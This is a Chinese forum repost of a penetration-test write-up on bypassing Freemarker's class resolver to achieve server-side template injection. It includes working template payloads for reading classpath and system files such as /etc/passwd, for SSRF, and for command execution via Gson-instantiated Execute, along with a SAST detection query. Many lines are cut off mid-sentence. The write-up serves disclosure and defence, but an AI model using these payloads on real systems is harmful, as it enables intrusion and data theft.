登录

Freemarker模板注入 Bypass

Hulk / 2019-04-22 09:51:00 / 浏览数 4128 渗透测试 渗透测试 顶(0) 踩(0)

文章来源：https://ackcent.com/blog/in-depth-freemarker-template-injection/

前言

在最近一次渗透测试中，AppSec团队碰到了一个棘手的Freemarker服务端模板注入。我们在网上没有找到深入研究有关这类注入的文章，于是决定写下本文。对于这篇Fre

概述

我们被分配测试一个内容管理系统（CMS）应用，用户可以通过这个CMS在网上发布各种内容。在本次测试中，我们只有一些低权限账户，因此，测试的一个重要目标就是

经过一些探索性测试后，我们偶然发现了一个功能，用户可以通过其按钮来管理模板。这个模板为Freemarker，我立马想到可能存在服务端模板注入漏洞。有一个快速，公

```
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}
```

但问题是我们的账户权限非常低，没有编辑模板的权限，因此我们首先需要提升权限。很幸运，经过几个小时的努力，最后发现权限管理系统存在一个认证缺陷，利用这点我

```
Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.
```

好吧，它并不是不堪一击。

模板类解析器

Freemarker模板为了限制`TemplateModels`被实例化，在其配置中注册了TemplateClassResolver。下面是三个预定义的解析器：

- `UNRESTRICTED_RESOLVER`：简单地调用`ClassUtil.forName(String)`。
- `SAFER_RESOLVER`：和第一个类似，但禁止解析`ObjectConstructor`, `Execute`和`freemarker.template.utility.JythonRuntime`。
- `ALLOWS_NOTHING_RESOLVER`：禁止解析任何类。

目标使用的模板类解析器为：`ALLOWS_NOTHING_RESOLVER`，所以我们无法使用`?new`。也就是我们不能使用任何`TemplateModel`，不能利用它来获取任意代码执行。我们

Freemarker内置的`?api`

经过一番搜寻，我发现Freemarker支持一个内置函数：?api，通过它可以访问底层Java Api
Freemarker的`BeanWrappers`。这个内置函数默认不开启，但通过Configurable.setAPIBuiltinEnabled可以开启它。我们非常幸运，因为目标模板的这个函数是开启的，我

但执行代码仍非易事：Freemarker模板有很好的安全防护，它严格限制`?api`访问的类和方法。在其官方的Github存储库中，我们发现一个特性文件，该文件列出了禁止调用

简单归纳：我们无法调用`Class.forName`，`Class.getClassLoader`， `Class.newInstance`，
`Constructor.newInstance`和`Method.invoke`。获得任意代码执行权限的机会渺茫。但通过Java调用和表达式一定还存在其他有趣的方法可以实现，我们没有气馁，仍

访问类路径中的资源

我们后来发现`Object.getClass`没有被禁用。利用它可以通过模板中公开的`BeanWrapper`来访问`Class<?>`类，并从其中调用getResourceAsStream。然后，我们就可以

```
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
   <#assign byte=is.read()>
   <#if byte == -1>
       <#break>
   </#if>
${byte}, </#list>]
```

（注意这里的`object`是一个`BeanWrapper`，它是模板自带的数据模型之一）在渲染模板后，所选文件的每个字节都会呈现出来，并且以`[]`间隔开来。这有点繁琐，通过Py

```
match = re.search(r'FILE:(.*),\s*(\\n)*?]', response)
literal = match.group(1) + ']'
literal = literal.replace('\\n', '').strip()
b = ast.literal_eval(literal)
barray = bytearray(b)
with open('exfiltrated', 'w') as f:
   f.write(barray)
```

然后，我们就可以列出目录的所有内容，我们可以访问`.properties`这类敏感文件，它们可能包含一些访问凭据，还可以下载`.jar`和`.class`文件，从而反编译获取程序源
S3储存桶。这是个血的教训：（开发者）千万不能因为"黑客无法访问它"而将明文凭据放在源代码中。

读取系统任意文件

我们被困在类路径中，有些无聊，于是继续深入发掘。仔细阅读Java文档后，我们发现可以通过Class.getResource的返回值来访问对象URI，该对象包含方法toURL。因

```
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
   <#assign byte=is.read()>
   <#if byte == -1>
       <#break>
   </#if>
${byte}, </#list>]
```

这段代码很好，但仍不是完美的。我们使用http://（https://或ftp://）替换掉file://，此时一个受限的模板注入变成一个完全的服务端模板注入了！为进一步扩大

Cool，让我们进一步探究能否再干点什么。

通过ProtectionDomain来获取ClassLoader

重新读完Java文档的Class部分后，我们注意到了getProtectionDomain方法。通过该方法可以访问对象ProtectionDomain，巧合的是，该对象有自己的getClassLoad

现在我们可以加载引用任意类（即Class<?>对象），但是我们仍不能实例化它们或调用其方法。尽管这样，我们可以检查字段，如果是static的我们还可以获取它们的值

任意代码执行

前面我们通过getResourceAsStream方法已经下载了一大堆源代码，这时我们再次审查它们，搜寻可以可以加载并且有静态字段的类。一会儿后，我们找到了：一个字段
static
final的类，它是Gson的一个实例。Gson是一个谷歌创建的JSON对象操作库，它的安全性很高。但我们目前可以访问实例，要想实例化任意类只是时间问题：

```
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign instance=gson?api.fromJson("{}", classLoader.loadClass("our.desired.class"))>
```

（我们通过Field.get访问静态字段，所以并不需要参数，只需简单使用null。）

我们可以实例化任意对象。但因为unsafeMethods.properties安全政策的存在，Runtime.getRuntime等方法无法实现，我们不能直接获取代码执行。但我突然发现

```
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}
```

反馈：

```
uid=81(tomcat) gid=81(tomcat) groups=81(tomcat)
```

SAST查询

开发者如果在早期用SAST扫描其源代码，该问题在开发阶段就能解决，而不至于拖到今天，并且修复起来也更简单。在SAST工具上，我写了下面这段查询，它是一个出色的

```
CxList setApiBuiltIn = Find_Methods().FindByShortName("setAPIBuiltinEnabled");
CxList setApiBuiltInParams = All.GetParameters(setApiBuiltIn);
result = setApiBuiltIn.FindByParameters(setApiBuiltInParams.FindByShortName("true"));
```

Freemarker内置的?api默认不开启，所以使用ture可以轻松查找setAPIBuiltinEnabled方法的调用，并从报告结果中获取漏洞提升。

小结

本文，我们分享了当Freemarker的TemplateClassResolver全部禁用时如何绕过，间接造成模板注入。通过利用内置的?api，发现获取敏感数据的方法，并且通过过与

总结几个重点：

- 首先，赋予用户创建编辑动态模板的权限是非常危险的。模板语言是世界上最好的语言(●ˇ□ˇ●)，我们需要更加谨慎地处理它，同时在分配权限时需要考虑到，模板编辑的
- 内置?api是否开启？攻击者滥用它可以做一些危险的事，例如下载源代码，造成SSRF或者RCE。这就是它默认关闭的原因。除非迫不得已，请勿开启它。
- Java在开发代码阶段提供了一些保护措施，开发者应该正视它：当攻击者实现了JVM中的某种代码执行时，（代码中）暴露的或者通过Serializable类泄露的敏感数据

总之，这是一次非常棒的渗透测试，在发现禁用如何解析器时我们对获取代码执行几乎绝望，但绕过的过程很有趣。此外，我们希望这篇文章对于发现自己处于类似情况，

点击收藏 | 4 关注 | 1

上一篇：西湖论剑初赛easyCpp探究 下一篇：西湖论剑初赛easyCpp探究

1. 0 条回复
   - 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板